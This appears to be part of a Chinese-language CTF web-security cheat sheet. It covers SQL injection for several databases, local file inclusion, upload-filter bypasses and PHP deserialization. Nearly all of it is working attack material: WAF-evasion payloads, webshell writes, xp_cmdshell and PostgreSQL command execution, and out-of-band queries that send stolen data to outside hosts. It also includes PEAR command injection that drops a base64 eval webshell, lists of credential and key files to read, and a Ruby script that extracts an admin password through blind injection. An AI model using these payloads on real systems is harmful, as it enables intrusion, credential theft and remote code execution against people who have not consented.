    • conv(hex(YOUR_DATA), 16, 10)
    • 還原：unhex(conv(DEC_DATA,10,16))
    • 需注意不要Overflow

  • 不使用逗號

    • LIMIT N, M => LIMIT M OFFSET N
    • mid(user(), 1, 1) => mid(user() from 1 for 1)
    • UNION SELECT 1,2,3 => UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)

  • 快速查找帶關鍵字的表

    • select table_schema,table_name,column_name from information_schema.columns where table_schema !=0x696E666F726D6174696F6E5F736368656D61 and table_schema !=0x6D7973716C and table_schema !=0x706572666F726D616E63655F736368656D61 and (column_name like '%pass%' or column_name like '%pwd%');

  • innodb

    • 表引擎為 innodb
    • MySQL > 5.5
    • innodb_table_stats、innodb_table_index存放所有庫名表名
    • select table_name from mysql.innodb_table_stats where database_name=資料庫名;
    • Example: Codegate2018 prequal - simpleCMS

  • Bypass WAF

    • select password => SelEcT password (大小寫)
    • select password => select/**/password (繞空白)
    • select password => s%65lect%20password (URLencode)
    • select password => select(password) (繞空白)
    • select password => select%0apassword (繞空白)
      • %09, %0a, %0b, %0c, %0d, %a0
    • select password from admin => select password /*!from*/ admin (MySQL註解)
    • information_schema.schemata => `information_schema`.schemata (繞關鍵字/空白)
      • select xxx from`information_schema`.schemata
    • select pass from user where id='admin' => select pass from user where id=0x61646d696e (繞引號)
      • id=concat(char(0x61),char(0x64),char(0x6d),char(0x69),char(0x6e))
    • ?id=0e2union select 1,2,3 (科學記號)
      • ?id=1union select 1,2,3會爛
      • ?id=0e1union(select~1,2,3) (~)
      • ?id=.1union select 1,2,3 (點)
    • WHERE => HAVING (繞關鍵字)
    • AND => && (繞關鍵字)
      • OR => ||
      • = => LIKE
      • a = 'b' => not a > 'b' and not a < 'b'
      • > 10 => not between 0 and 10
    • LIMIT 0,1 => LIMIT 1 OFFSET 0 (繞逗號)
      • substr('kaibro',1,1) => substr('kaibro' from 1 for 1)
    • Multipart/form-data繞過
    • 偽造 User-Agent
      • e.g. 有些 WAF 不封 google bot

  • phpMyAdmin

    • 寫文件 getshell
      • 條件
        • root 權限
        • 已知 web 路徑
        • 有寫檔權限
      • select "<?php phpinfo();?>" INTO OUTFILE "c:\\phpstudy\\www\\shell.php"
    • general_log getshell
      • 條件
        • 讀寫權限
        • 已知 web 路徑
      • step1. 開啟日誌: set global general_log = "ON";
      • step2. 指定日誌文件: set global general_log_file = "/var/www/html/shell.php";
      • step3. 寫入php: select "<?php phpinfo();?>";
    • slow_query getshell
      • step1. 設置日誌路徑: set GLOBAL slow_query_log_file='/var/www/html/shell.php';
      • step2. 開啟 slow_query_log: set GLOBAL slow_query_log=on;
      • step3. 寫入 php: select '<?php phpinfo();?>' from mysql.db where sleep(10);
    • CVE-2018-19968
      • phpMyAdmin versions: 4.8.0 ~ 4.8.3
      • LFI to RCE
      • 條件
        • 能登入後台
      • step1. CREATE DATABASE foo;CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
      • step2. /chk_rel.php?fixall_pmadb=1&db=foo
      • step3. INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_{SESSIONID}','plop';
      • step4. /tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
    • CVE-2018-12613
      • phpMyAdmin versions: 4.8.x
      • LFI to RCE
      • 條件
        • 能登入後台
      • Payload
        • index.php?target=db_sql.php%253f/../../../../../../windows/system.ini
        • index.php?target=sql.php%253f/../../../tmp/tmp/sess_16rme70p2qqnqjnhdiq3i6unu
          • 在控制台執行的 sql 語句會被寫入 session
          • Session id 可以從 cookie phpMyAdmin 得到
    • CVE-2016-5734
      • phpmyadmin versions:
        • 4.0.10.16 之前的4.0.x版本
        • 4.4.15.7 之前的 4.4.x版本
        • 4.6.3之前的 4.6.x版本
      • php version:
        • 4.3.0 ~ 5.4.6
      • preg_replace RCE
      • 條件
        • 能登入後台
    • CVE-2014-8959
      • phpMyAdmin version:
        • 4.0.1 ~ 4.2.12
      • php version:
        • < 5.3.4
      • 條件
        • 能登入後台
        • 能截斷
      • Payload: gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00 (需修改token)
    • CVE-2013-3238
    • CVE-2012-5159
    • CVE-2009-1151
    • 弱密碼 / 萬用密碼
      • phpmyadmin 2.11.9.2: root/空密碼
      • phpmyadmin 2.11.3 / 2.11.4: 用戶名: 'localhost'@'@"

MSSQL

  • 子字串：

    • SUBSTRING("abc", 1, 1) => 'a'

  • Ascii function

    • ascii('A') => 65

  • Char function

    • char(65) => 'a'

  • Concatenation

    • +
    • 'a'+'b' => 'ab'

  • Delay function

    • WAIT FOR DELAY '0:0:10'

  • 空白字元

    • 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

  • IF 語句

    • IF condition true-part ELSE false-part
    • IF (1=1) SELECT 'true' ELSE SELECT 'false'

  • 註解：

    • --
    • /**/

  • TOP

    • MSSQL 沒有 LIMIT N, M 的用法
    • SELECT TOP 87 * FROM xxx 取最前面 87 筆
    • 取第 78~87 筆
      • SELECT pass FROM (SELECT pass, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM mydb.dbo.mytable)x WHERE LIMIT between 78 and 87

  • 其它：

    • user
    • db_name()
    • user_name()
    • @@version
    • @@language
    • @@servername
    • host_name()
    • has_dbaccess('master')

  • 查詢用戶

    • select name, loginame from master..syslogins, master..sysprocesses

  • 查用戶密碼

    • select user,password from master.dbo.syslogins

  • 當前角色是否為資料庫管理員

    • SELECT is_srvrolemember('sysadmin')

  • 當前角色是否為db_owner

    • SELECT IS_MEMBER('db_owner')

  • 爆DB name

    • DB_NAME(N)
    • UNION SELECT NULL,DB_NAME(N),NULL--
    • UNION SELECT NULL,name,NULL FROM master ..sysdatabases--
    • SELECT catalog_name FROM information_schema.schemata
    • 1=(select name from master.dbo.sysdatabases where dbid=5)

  • 爆表名

    • SELECT table_catalog, table_name FROM information_schema.tables
    • SELECT name FROM sysobjects WHERE xtype='U'
    • ID=02';if (select top 1 name from DBname..sysobjects where xtype='U' and name not in ('table1', 'table2'))>0 select 1--

  • 爆column

    • SELECT table_catalog, table_name, column_name FROM information_schema.columns
    • SELECT name FROM syscolumns WHERE id=object_id('news')
    • ID=1337';if (select top 1 col_name(object_id('table_name'), i) from sysobjects)>0 select 1--
    • SELECT name FROM DBNAME..syscolumns WHERE id=(SELECT id FROM DBNAME..sysobjects WHERE name='TABLENAME')

  • 一次性獲取全部資料

    • select quotename(name) from master..sysdatabases FOR XML PATH('')
    • select concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns for json auto

  • Union Based

    • Column 型態必須相同
    • 可用NULL來避免

  • Error Based

    • 利用型別轉換錯誤
    • id=1 and user=0

  • Out of Band

    • declare @p varchar(1024);set @p=(SELECT xxxx);exec('master..xp_dirtree "//'+@p+'.oob.kaibro.tw/a"')
    • fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null)
      • Requires VIEW SERVER STATE permission on the server
    • fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)
      • Requires the CONTROL SERVER permission.
    • fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.oob.kaibro.tw',default)
      • Requires the CONTROL SERVER permission.

  • 判斷是否站庫分離

    • 客戶端主機名：select host_name();
    • 服務端主機名：select @@servername;
    • 兩者不同即站庫分離

  • 讀檔

    • select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)

  • xp_cmdshell

    • 在 MSSQL 2000 默認開啟
    • MSSQL 2005 之後默認關閉
    • 有 sa 權限，可透過 sp_configure 重啟它
    EXEC sp_configure 'show advanced options',1
RECONFIGURE 
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

    • 執行 command

      • exec xp_cmdshell 'whoami'

    • 關閉xp_cmdshell

    EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure'xp_cmdshell', 0;
RECONFIGURE;

  • 快速查找帶關鍵字的表

    • SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND (syscolumns.name LIKE '%pass%' or syscolumns.name LIKE '%pwd%' or syscolumns.name LIKE '%first%');

  • 繞 WAF

    • Non-standard whitespace character:
      • 1%C2%85union%C2%85select%C2%A0null,@@version,null--
    • 混淆 UNION
      • 0eunion+select+null,@@version,null--
    • Unicode 繞過
      • IIS 對 Unicode 編碼是可以解析的，即 s%u0065lect 會被解析為 select

Oracle

  • SELECT 語句必須包含 FROM

    • 未指定來源，可以用 dual 表

  • 子字串：

    • SUBSTR('abc', 1, 1) => 'a'

  • 空白字元

    • 00 0A 0D 0C 09 20

  • IF語句

    • IF condition THEN true-part [ELSE false-part] END IF

  • 註解：

    • --
    • /**/

  • 不支援 limit

    • 改用 rownum
    • select table_name from (select rownum no, table_name from all_tables) where no=1

  • 單雙引號

    • 單引號: string, date
    • 雙引號: identifier (table name, column name, ...)

  • 其它

    • SYS.DATABASE_NAME
      • current database
    • USER
      • current user
      • or sys.login_user
    • SELECT role FROM session_roles
      • current role
    • SELECT privilege FROM user_sys_privs
      • system privileges granted to the current user
    • SELECT privilege FROM role_sys_privs
      • privs the current role has
    • SELECT privilege FROM session_privs
      • the all privs that current user has = user_sys_privs + role_sys_privs
    • SELECT banner FROM v$version where rownum=1
      • database version
    • SELECT host_name FROM v$instance;
      • Name of the host machine
    • utl_inaddr.get_host_address
      • 本機IP
    • select utl_inaddr.get_host_name('87.87.87.87') from dual
      • IP反解

  • 庫名(schema)

    • SELECT DISTINCT OWNER FROM ALL_TABLES

  • 表名

    • SELECT OWNER, TABLE_NAME FROM ALL_TABLES

  • Column

    • SELECT OWNER, TABLE_NAME, COLUMN_NAME FROM ALL_TAB_COLUMNS

  • Union Based

    • Column 型態必須相同
    • 可用 NULL 來避免錯誤
    • UNION SELECT 1, 'aa', null FROM dual

  • Time Based

    • dbms_pipe.receive_message(('a'),10)
      • SELECT CASE WHEN (CONDITION_HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual

  • Error Based

    • CTXSYS.DRITHSX.SN
      • SELECT * FROM news WHERE id=1 and CTXSYS.DRITHSX.SN(user, (SELECT banner FROM v$version WHERE rownum=1))=1
    • utl_inaddr.get_host_name
      • and 1=utl_inaddr.get_host_name((SQL in HERE))
      • 版本 >=11g，需要超級用戶或授予網路權限的用戶才能用
    • dbms_xdb_version.checkin
      • and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null
    • dbms_xdb_version.makeversioned
      • and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null
    • dbms_xdb_version.uncheckout
      • and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null
    • dbms_utility.sqlid_to_sqlhash
      • and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null

  • Out of band

    • UTL_HTTP.request('http://kaibro.tw/'||(select user from dual))=1
    • SYS.DBMS_LDAP.INIT()
    • utl_inaddr.get_host_address()
    • HTTPURITYPE
      • SELECT HTTPURITYPE('http://30cm.club/index.php').GETCLOB() FROM DUAL;
    • extractvalue() XXE
      • SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT xxxx)||'.oob.kaibro.tw/"> %remote;]>'),'/l') FROM dual
      • 新版已 patch

  • users

    • select username from all_users
      • lists all users of the database
    • select name, password from sys.user$
    • select username,password,account_status from dba_users

  • 特殊用法

    • DBMS_XMLGEN.getXML('select user from dual')
    • dbms_java.runjava('com/sun/tools/script/shell/Main -e "var p = java.lang.Runtime.getRuntime().exec(''$cmd'');"')
      • Java code execution

SQLite

  • 子字串：
    • substr(“abc",1,1) => 'a'
  • Ascii function:
    • unicode('d') => 100
  • legth
    • length('ab') => 2
  • Concatenation
    • ||
    • 'a' || 'b' => 'ab'
  • Time Delay
    • randomblob(100000000)
  • 空白字元
    • 0A 0D 0C 09 20
  • Case when
    • SQLite 沒有 if
    • 可以用 Case When ... Then ... 代替
    • case when (條件) then ... else ... end
  • 註解
    • --
  • 爆表名
    • SELECT name FROM sqlite_master WHERE type='table'
  • 爆表結構(含 Column)
    • SELECT sql FROM sqlite_master WHERE type='table'
  • 其他
    • sqlite_version()
    • sqlite 無法使用 \' 跳脫單引號
    • [] 神奇用法
  • Boolean Based: SECCON 2017 qual SqlSRF
Click here to view script 
# encoding: UTF-8

# sqlite injection (POST method) (二分搜)
# SECCON sqlsrf爆admin密碼 
require 'net/http'
require 'uri'

$url = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi'
$ans = ''

(1..100).each do |i|
    l = 48
    r = 122

    while(l <= r)
        #puts "left: #{l}, right: #{r}"
        break if l == r

        mid = ((l + r) / 2)
        $query = "kaibro'union select '62084a9fa8872a1b917ef4442c1a734e' where (select unicode(substr(password,#{i},#{i})) from users where username='admin') > #{mid} and '1'='1"
        
        res = Net::HTTP.post_form URI($url), {"user" => $query, "pass" => "kaibro", "login" => "Login"}
        
        if res.body.include? 'document.location'
            l = mid + 1
        else
            r = mid
        end

    end
    $ans += l.chr
    puts $ans

end

PostgreSQL

  • 子字串
    • substr("abc", 1, 1) => 'a'
  • Ascii function
    • ascii('x') => 120
  • Char function
    • chr(65) => A
  • Concatenation
    • ||
    • 'a' || 'b' => 'ab'
  • Delay function
    • pg_sleep(5)
    • GENERATE_SERIES(1, 1000000)
    • repeat('a', 10000000)
  • 空白字元
    • 0A 0D 0C 09 20
  • encode / decode
    • encode('123\\000\\001', 'base64') => MTIzAAE=
    • decode('MTIzAAE=', 'base64') => 123\000\001
  • 不支援limit N, M
    • limit a offset b 略過前 b 筆，抓出 a 筆出來
  • 註解
    • --
    • /**/
  • $$ 取代引號
    • SELECT $$This is a string$$
  • 爆庫名
    • SELECT datname FROM pg_database
  • 爆表名
    • SELECT tablename FROM pg_tables WHERE schemaname='dbname'
  • 爆Column
    • SELECT column_name FROM information_schema.columns WHERE table_name='admin'
  • Dump all
    • array_to_string(array(select userid||':'||password from users),',')
  • 列舉 privilege
    • SELECT * FROM pg_roles;
  • 列舉用戶 hash
    • SELECT usename, passwd FROM pg_shadow
  • RCE
    • CVE-2019–9193
      • 在 9.3 版本實作了 COPY TO/FROM PROGRAM
      • 版本 9.3 ~ 11.2 預設啟用
      • 讓 super user 和任何在 pg_read_server_files 群組的 user 可以執行任意指令
      • 方法
        • DROP TABLE IF EXISTS cmd_exec;
        • CREATE TABLE cmd_exec(cmd_output text);
        • COPY cmd_exec FROM PROGRAM 'id';
        • SELECT * FROM cmd_exec;
    • 版本 8.2 以前
      • CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
      • select system('id');
    • UDF
  • 其它
    • version()
    • current_database()
    • user
      • current_user
      • SELECT usename FROM pg_user;
    • getpgusername()
    • current_schema
    • current_query()
    • inet_server_addr()
    • inet_server_port()
    • inet_client_addr()
    • inet_client_port()
    • type conversion
      • cast(count(*) as text)
    • md5('abc')
    • replace('abcdefabcdef', 'cd', 'XX') => abXXefabXXef
    • pg_read_file(filename, offset, length)
      • 讀檔
      • 只能讀 data_directory 下的
    • pg_ls_dir(dirname)
      • 列目錄內容
      • 只能列 data_directory 下的
    • PHP 的 pg_query() 可以多語句執行
    • lo_import(), lo_get() 讀檔
      • select cast(lo_import('/var/lib/postgresql/data/secret') as text) => 18440
      • select cast(lo_get(18440) as text) => secret_here

MS Access

  • 沒有註解
    • 某些情況可以用 %00, %16 來達到類似效果
  • 沒有 Stacked Queries
  • 沒有 Limit
    • 可以用 TOP, LAST 取代
    • 'UNION SELECT TOP 5 xxx FROM yyy%00
  • 沒有 Sleep, Benchmark, ...
  • 支援 Subquery
    • 'AND (SELECT TOP 1 'xxx' FROM table)%00
  • String Concatenation
    • & (%26)
    • + (%2B)
    • 'UNION SELECT 'aa' %2b 'bb' FROM table%00
  • Ascii Function
    • ASC()
    • 'UNION SELECT ASC('A') FROM table%00
  • IF THEN
    • IFF(condition, true, false)
    • 'UNION SELECT IFF(1=1, 'a', 'b') FROM table%00
  • https://insomniasec.com/cdn-assets/Access-Through-Access.pdf

ORM injection

https://www.slideshare.net/0ang3el/new-methods-for-exploiting-orm-injections-in-java-applications

  • Hibernate
    • 單引號跳脫法
      • MySQL 中，單引號用 \' 跳脫
      • HQL 中，用兩個單引號 '' 跳脫
      • 'abc\''or 1=(SELECT 1)--'
        • 在 HQL 是一個字串
        • 在 MySQL 是字串+額外 SQL 語句
    • Magic Function 法
      • PostgreSQL 中內建 query_to_xml('Arbitary SQL')
      • Oracle 中有 dbms_xmlgen.getxml('SQL')

HQL injection example (pwn2win 2017)

  • order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select table_name from information_schema.columns limit 1)))',true,false,'')),1)

    • Output: ERROR: could not stat file "flag": No such file or directory

  • order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select column_name from information_schema.columns limit 1)))',true,false,'')),1)

    • Output: ERROR: could not stat file "secret": No such file or directory

  • order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select secret from flag)))',true,false,'')),1)

    • Output: ERROR: could not stat file "CTF-BR{bl00dsuck3rs_HQL1njection_pwn2win}": No such file or directory

SQL Injection with MD5

  • $sql = "SELECT * FROM admin WHERE pass = '".md5($password, true)."'";
  • ffifdyop
    • md5: 276f722736c95d99e921722cf9ed621c
    • to string: 'or'6<trash>

HTTP Parameter Pollution

  • id=1&id=2&id=3
    • ASP.NET + IIS: id=1,2,3
    • ASP + IIS: id=1,2,3
    • PHP + Apache: id=3

SQLmap

  • https://github.com/sqlmapproject/sqlmap/wiki/Usage
  • Usage
    • python sqlmap.py -u 'test.kaibro.tw/a.php?id=1'
      • 庫名: --dbs
      • 表名: -D dbname --tables
      • column: -D dbname -T tbname --columns
      • dump: -D dbname -T tbname --dump
        • --start=1
        • --stop=5566
      • DBA? --is-dba
      • 爆帳密: --passwords
      • 看權限: --privileges
      • 拿shell: --os-shell
      • interative SQL: --sql-shell
      • 讀檔: --file-read=/etc/passwd
      • Delay時間: --time-sec=10
      • User-Agent: --random-agent
      • Thread: --threads=10
      • Level: --level=3
        • default: 1
      • --technique
        • default: BEUSTQ
      • Cookie: --cookie="abc=55667788"
      • Tor: --tor --check-tor --tor-type=SOCKS5 --tor-port=9050

LFI

Testing Payload

Linux / Unix

  • Common Payload

    • ./index.php
    • ././index.php
    • .//index.php
    • ../../../../../../etc/passwd
    • ../../../../../../etc/passwd%00
      • 僅在 5.3.0 以下可用
      • magic_quotes_gpc 需為OFF
    • ....//....//....//....//etc/passwd
    • %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
    • %252e/%252e/etc/passwd
    • ＮＮ/ＮＮ/ＮＮ/etc/passwd
    • .+./.+./.+./.+./.+./.+./.+./.+./.+./.+./etc/passwd
    • static\..\..\..\..\..\..\..\..\etc\passwd

  • Config

    • /usr/local/apache2/conf/httpd.conf
    • /usr/local/etc/apache2/httpd.conf
    • /usr/local/nginx/conf/nginx.conf
    • /etc/apache2/sites-available/000-default.conf
    • /etc/apache2/apache2.conf
    • /etc/apache2/httpd.conf
    • /etc/httpd/conf/httpd.conf
    • /etc/nginx/conf.d/default.conf
    • /etc/nginx/nginx.conf
    • /etc/nginx/sites-enabled/default
    • /etc/nginx/sites-enabled/default.conf
    • /etc/mysql/my.cnf
    • /etc/resolv.conf
    • /etc/named.conf
    • /etc/rsyslog.conf
    • /etc/samba/smb.conf
    • /etc/openldap/slapd.conf
    • /etc/mongod.conf
    • /etc/krb5.conf
    • ~/.tmux.conf
    • ~/.mongorc.js
    • $TOMCAT_HOME/conf/tomcat-users.xml
    • $TOMCAT_HOME/conf/server.xml

  • Log

    • /var/log/apache2/error.log
    • /var/log/httpd/access_log
    • /var/log/mail.log
    • /var/log/auth.log
    • /var/log/messages
    • /var/log/secure
    • /var/log/sshd.log
    • /var/log/mysqld.log
    • /var/log/mongodb/mongod.log
    • .pm2/pm2.log
    • $TOMCAT_HOME/logs/catalina.out

  • History

    • .history
    • .bash_history
    • .sh_history
    • .zsh_history
    • .viminfo
    • .php_history
    • .mysql_history
    • .dbshell
    • .histfile
    • .node_repl_history
    • .python_history
    • .scapy_history
    • .sqlite_history
    • .psql_history
    • .rediscli_history
    • .coffee_history
    • .lesshst
    • .wget-hsts
    • .config/fish/fish_history
    • .local/share/fish/fish_history
    • .ipython/profile_default/history.sqlite

  • 其他

    • /proc/self/cmdline
    • /proc/self/fd/[0-9]*
    • /proc/self/environ
    • /proc/net/fib_trie
    • /proc/mounts
    • /proc/net/arp
    • /proc/net/tcp
    • /proc/sched_debug
    • .htaccess
    • ~/.bashrc
    • ~/.bash_profile
    • ~/.bash_logout
    • ~/.zshrc
    • ~/.aws/config
    • ~/.aws/credentials
    • ~/.boto
    • ~/.s3cfg
    • ~/.gitconfig
    • ~/.config/git/config
    • ~/.git-credentials
    • ~/.env
    • /etc/passwd
    • /etc/shadow
    • /etc/hosts
    • /etc/rc.d/rc.local
    • /etc/boto.cfg
    • /root/.ssh/id_rsa
    • /root/.ssh/authorized_keys
    • /root/.ssh/known_hosts
    • /root/.ssh/config
    • /etc/sysconfig/network-scripts/ifcfg-eth0
    • /etc/exports
    • /etc/crontab
    • /var/spool/cron/root
    • /var/spool/cron/crontabs/root
    • /var/mail/<username>

Windows

  • C:/Windows/win.ini
  • C:/boot.ini
  • C:/apache/logs/access.log
  • ../../../../../../../../../boot.ini/.......................
  • C:\Windows\System32\drivers\etc\hosts
  • C:\WINDOWS\System32\Config\SAM
  • C:/WINDOWS/repair/sam
  • C:/WINDOWS/repair/system
  • %SYSTEMROOT%\System32\config\RegBack\SAM
  • %SYSTEMROOT%\System32\config\RegBack\system
  • %WINDIR%\system32\config\AppEvent.Evt
  • %WINDIR%\system32\config\SecEvent.Evt
  • %WINDIR%\iis[version].log
  • %WINDIR%\debug\NetSetup.log
  • %SYSTEMDRIVE%\autoexec.bat
  • C:\Documents and Settings\All Users\Application Data\Git\config
  • C:\ProgramData\Git\config
  • $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
  • C:\inetpub\temp\appPools\DefaultAppPool\DefaultAppPool.config
  • C:\Windows\System32\inetsrv\config\ApplicationHost.config
  • C:\WINDOWS\debug\NetSetup.log
  • C:\WINDOWS\pfro.log

環境變數

  • ../../../../proc/self/environ
    • HTTP_User_Agent塞php script

php://filter

  • php://filter/convert.base64-encode/resource=index.php
  • php://filter/convert.base64-decode/resource=index.php
  • php://filter/read=string.rot13/resource=index.php
  • php://filter/zlib.deflate/resource=index.php
  • php://filter/zlib.inflate/resource=index.php
  • php://filter/convert.quoted-printable-encode/resource=index.php
  • php://filter/read=string.strip_tags/resource=php://input
  • php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=index.php
  • php://filter/convert.iconv.UCS-4LE.UCS-4BE/resource=index.php
  • ...
  • 進階玩法

php://input

  • ?page=php://input
    • post data: <?php system("net user"); ?>
    • 需要有開啟 url_allow_include，5.4.0 直接廢除

phpinfo

  • 對 server 以 form-data 上傳文件，會產生 tmp 檔
  • 利用 phpinfo 得到 tmp 檔路徑和名稱
  • LFI Get shell
  • 限制
    • Ubuntu 17 後，預設開啟 PrivateTmp，無法利用

php session

  • Session 一般存在 sess_{PHPSESSID} 中
  • 可以透過修改 Cookie 再 LFI 拿 shell
  • 以下為常見存放路徑
    • /var/tmp/
    • /tmp/
    • /var/lib/php5/
    • /var/lib/php/
    • C:\windows\temp\sess_
      • windows
  • session.upload_progress
    • PHP 預設開啟
    • 用來監控上傳檔案進度
    • 當 session.upload_progress.enabled 開啟，可以 POST 在 $_SESSION 中添加資料 (sess_{PHPSESSID})
    • 配合 LFI 可以 getshell
    • session.upload_progress.cleanup=on 時，可以透過 Race condition
    • 上傳 zip
      • 開頭會有 upload_progress_，結尾也有多餘資料，導致上傳 zip 正常狀況無法解析
      • 利用 zip 格式鬆散特性，刪除前 16 bytes 或是手動修正 EOCD 和 CDH 的 offset 後上傳，可以讓 php 正常解析 zip
    • Example

PEAR

  • 條件
    • 安裝 pear (pearcmd.php)
    • 有開 register_argc_argv
  • 寫檔
    • 法一: /?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
    • 法二: /?+-c+/tmp/shell.php+-d+man_dir=<?phpinfo();?>/*+-s+list&file=/usr/local/lib/php/pearcmd.php
    • 法三: /?+download+https://kaibro.tw/shell.php+&fike=/usr/local/lib/php/pearcmd.php
    • 法四: /?+channel-discover+kaibro.tw/302.php?&file=/usr/local/lib/php/pearcmd.php
      • 302.php 會跳轉到 test.php 做下載
  • 安裝 package
    • /?+install+--force+--installroot+/tmp/wtf+http://kaibro.tw/KaibroShell.tgz+?&file=/usr/local/lib/php/pearcmd.php
  • Command Injection
    • /?+install+-R+&file=/usr/local/lib/php/pearcmd.php&+-R+/tmp/other+channel://pear.php.net/Archive_Tar-1.4.14
    • /?+bundle+-d+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/+/tmp/other/tmp/pear/download/Archive_Tar-1.4.14.tgz+&file=/usr/local/lib/php/pearcmd.php&
    • /?+svntag+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/Archive_Tar+&file=/usr/local/lib/php/pearcmd.php&
  • Example

Nginx buffering

  • 當 Request body 過大或是 fastcgi server response 過大，超過 buffer size 時，其內容會保存到暫存檔中 (reference)

    • 會在 /var/lib/nginx/body/, /var/lib/nginx/fastcgi/ 下建立暫存檔
    • 但該暫存檔會馬上被刪除
    • 可以透過 /proc/<nginx worker pid>/fd/<fd> 來取得被刪除的檔案內容
      • php 的 include() 會將 fd 路徑解析成 /var/lib/nginx/body/0000001337 (deleted) 格式，導致引入失敗
      • 可以用以下方式繞過
        • /proc/self/fd/34/../../../34/fd/15
        • /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/34/fd/15

  • Example

data://

  • 條件
    • allow_url_fopen: On
    • allow_url_include: On
  • 用法
    • ?file=data://text/plain,<?php phpinfo()?>
    • ?file=data:text/plain,<?php phpinfo()?>
    • ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

zip / phar

  • 適用驗證副檔名時
  • zip
  • phar 
    •   <?php
      $p = new PharData(dirname(__FILE__).'/phartest.zip',0,'phartest2',Phar::ZIP);
      $x = file_get_contents('./a.php');
      $p->addFromString('b.jpg', $x);
  ?>
    • 構造 ?file=phar://phartest.zip/b.jpg

SSI (Server Side Includes)

上傳漏洞

Javascript檢測

  • Burp Suite 中間修改
  • disable javascript

Bypass MIME Detection

  • Burp修改Content-Type

黑名單判斷副檔名

  • 大小寫繞過

    • pHP
    • AsP

  • 空格 / 點 / Null 繞過

    • Windows特性
    • .php(空格) // burp修改
    • .asp.
    • .php%00.jpg

  • php3457

    • .php3
    • .php4
    • .php5
    • .php7
    • .pht
    • .phtml

  • asp

    • asa
    • cer
    • cdx

  • aspx

    • ascx
    • ashx
    • asmx
    • asac
    • soap
    • svc
    • master
    • web.config

  • jsp

    • jspa
    • jspf
    • jspx
    • jsw
    • jsv
    • jtml

  • .htaccess

    • set handler
    <FilesMatch "kai">
SetHandler application/x-httpd-php
</FilesMatch>
    • read file
      • ErrorDocument 404 %{file:/etc/passwd}
      • redirect permanent "/%{BASE64:%{FILE:/etc/passwd}}"
      • Example: Real World CTF 4th - RWDN

  • .user.ini

    • 只要 fastcgi 運行的 php 都適用 (nginx/apache/iis)
    • 用戶自定義的設定檔
      • 可以設置 PHP_INI_PERDIR 和 PHP_INI_USER 的設定
      • 可以動態載入，不用重啟
    • 使用前提: 該目錄下必須有 php 文件
    • auto_prepend_file=test.jpg

  • 文件解析漏洞

  • NTFS ADS

    • test.php:a.jpg
      • 生成 test.php
      • 空內容
    • test.php::$DATA
      • 生成 test.php
      • 內容不變
    • test.php::$INDEX_ALLOCATION
      • 生成 test.php 資料夾
    • test.php::$DATA.jpg
      • 生成 0.jpg
      • 內容不變
    • test.php::$DATA\aaa.jpg
      • 生成 aaa.jpg
      • 內容不變

Magic Number

  • jpg
    • FF D8 FF E0 00 10 4A 46 49 46
  • gif
    • 47 49 36 38 39 61
  • png
    • 89 50 4E 47

其他

  • 常見場景：配合文件解析漏洞
  • 超長檔名截斷

反序列化

PHP - Serialize() / Unserialize()

  • __construct()
    • Object被new時調用，但unserialize()不調用
  • __destruct()
    • Object被銷毀時調用
  • __wakeup()
    • unserialize時自動調用
  • __sleep()
    • 被serialize時調用
  • __toString()
    • 物件被當成字串時調用

  • Value

    • String
      • s:size:value;
    • Integer
      • i:value;
    • Boolean
      • b:value; ('1' or '0')
    • NULL
      • N;
